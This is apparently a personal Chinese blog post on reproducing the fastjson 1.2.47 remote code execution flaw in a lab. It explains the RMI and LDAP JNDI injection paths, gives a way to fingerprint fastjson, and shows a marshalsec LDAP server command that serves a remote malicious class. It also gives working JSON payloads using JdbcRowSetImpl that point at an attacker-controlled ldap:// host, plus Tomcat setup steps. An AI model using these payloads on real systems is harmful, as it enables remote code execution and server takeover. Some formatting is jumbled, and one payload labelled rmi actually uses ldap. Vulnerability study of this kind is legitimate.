fastjson =<1.2.47RCE漏洞研究
2021-01-23 22:12
标签:loading 目录 效果 实战 pat export net chmod -- 一种是基于rmi,一种是基于ldap。 RMI是一种行为,指的是Java远程方法调用。 JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 ldap指轻量级目录访问协议。 docker容器里的jdk版本,jdk8u102 ----------该jdk版本用rmi或ldap服务都可以加载远程class文件 ldap: ------------------其实这个payload是
主要是靶机的搭建 https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/apache-tomcat-9.0.36.tar.gz 然后访问http://IP:8080/fastjson/查看效果 附:测试java文件 参考链接:主要作为自己记录用,排版比较随意
一、测试和复现主要考虑两个条件:
另外,可以通过发送没闭合的json数据,通过回复包来判断目标站点是否有使用fastjson,例如提交{"@type":"c
如上以上条件都满足,很大概率能利用成功反序列化常用的两种利用方式
使用RMI还是LDAP调用远程class恶意文件取决于目标机器上的JDK版本:
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
本地测试确定过,jdk版本为8u251时即使fastjson版本符合要求也是利用不了的,jdk版本为8u171、fastjson1.2.47时是可以用ldap复现成功的二、漏洞复现
2.1 使用vulhub方式
步骤:
在开启http服务的路径下,放编译好的class文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.37.128:8000/#TouchFile" 9999
rmi: {
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.37.128:9999/exploit",
"autoCommit":true
}
}
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.37.128:9999/expdsaloit",
"autoCommit":true
}
}
2.2 本地搭建tomcat+fastjson1.2.47环境进行复现
debian9.5、tomcat9、fastjson1.2.47、jdk(用debian9自带的8u171或卸载自带的后自己手动装jdk8u251,区别就是能否复现成功,原因上面有讲到)1.1 tomcat安装
tar zxvf apche-tomcat....
mv apache-tomcat.. /opt/tomcat9
chmod -R 777 tomcat9
vim /etc/profile配置环境变量(如果使用debian自带的jdk就不用了配置jdk的环境变量了,配置tomcat的即可)
export JAVA_HOME=...(根据自己的实际情况写)
export JRE_HOME=...
export CLASS_PATH=...
export PATH=...
export CATALINA_HOME=/opt/tomcat9
source etc/profile
unset CATALINA_HOME
cd /opt/tomcat9/bin
./catalina.sh start
2.2 复制fastjson1.2.47环境包到/opt/tomcat9/webapps (github找一下)
https://www.t00ls.net/viewthread.php?tid=56927&highlight=fastjson
https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ
https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE
https://www.t00ls.net/viewthread.php?tid=55109&highlight=fastjson
上一篇:fiddler 502 System.Security.SecurityException Failed to negotiate HTTPS connection with server.fid
下一篇:Node.js-forever